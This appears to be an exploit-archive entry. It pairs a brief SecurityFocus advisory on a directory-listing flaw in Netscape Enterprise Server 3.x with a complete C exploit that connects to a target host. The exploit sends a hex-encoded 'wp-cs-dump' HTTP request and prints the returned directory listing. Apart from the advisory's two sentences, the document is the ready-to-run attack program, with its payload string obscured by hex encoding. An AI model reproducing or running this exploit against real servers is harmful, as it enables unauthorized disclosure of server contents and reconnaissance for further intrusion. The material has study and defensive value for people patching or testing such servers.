// source: https://www.securityfocus.com/bid/1063/info

Netscape Enterprise Server 3.x includes a poorly documented feature that will allow remote users to view directory listings by appending various instructional tags to the URL. Although it can be disabled, Netscape Enterprise Server is shipped with the "Directory Indexing" feature enabled by default. 

/*
 *	Server:Netscape-Enterprise
 *	This exploit is about Trasversal Vuln.
 *
 *	Written by Gabriel Maggiotti
 */
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <errno.h>
#include <string.h>
#include <netdb.h>
#include <sys/types.h>
#include <netinet/in.h>
#include <sys/socket.h>
#include <sys/wait.h>
#include <unistd.h>
#include <fcntl.h>

#define SEND	10000
#define RECIVE	100000


char *str_replace(char *rep, char *orig, char *string)
{
int len=strlen(orig);
char buf[SEND]="";
char *pt=strstr(string,orig);

strncpy(buf,string, pt-string );
strcat(buf,rep);
strcat(buf,pt+strlen(orig));
strcpy(string,buf);
return string;
}

/***************************************************************************/

int main(int argc,char *argv[])
{
int sockfd, numbytes;
char recv_buf[RECIVE];
int port;

char inject[SEND]=
	"\x47\x45\x54\x20\x2f\x3f\x77\x70\x2d\x63\x73\x2d"
	"\x64\x75\x6d\x70\x20\x48\x54\x54\x50\x2f\x31\x2e"
	"\x30\xa\xa";


struct hostent *he;

struct sockaddr_in their_addr;


if(argc!=3)
{
	fprintf(stderr,"usage:%s <hostname> <port>\n",argv[0]);
	exit(1);
}


if((he=gethostbyname(argv[1]))==NULL)
{
	perror("gethostbyname");
	exit(1);
}

port=atoi(argv[2]);



if( (sockfd=socket(AF_INET,SOCK_STREAM,0)) == -1)
{
	perror("socket");
	exit(1);
}


their_addr.sin_family=AF_INET;
their_addr.sin_port=htons(port);
their_addr.sin_addr=*((struct in_addr*)he->h_addr);
bzero(&(their_addr.sin_zero),8);



if( connect(sockfd,(struct sockaddr*)&their_addr, sizeof(struct sockaddr))==-1)
{
	perror("connect");
	exit(1);
}

if(send(sockfd,inject,SEND,0) ==-1)
{
	perror("send");
	exit(0);
}

if( (numbytes=recv(sockfd,recv_buf,RECIVE,0 )) == -1)
{
	perror("recv");
	exit(1);
}

recv_buf[numbytes]='\0';
printf("%s\n",recv_buf);




close(sockfd);

return 0;
}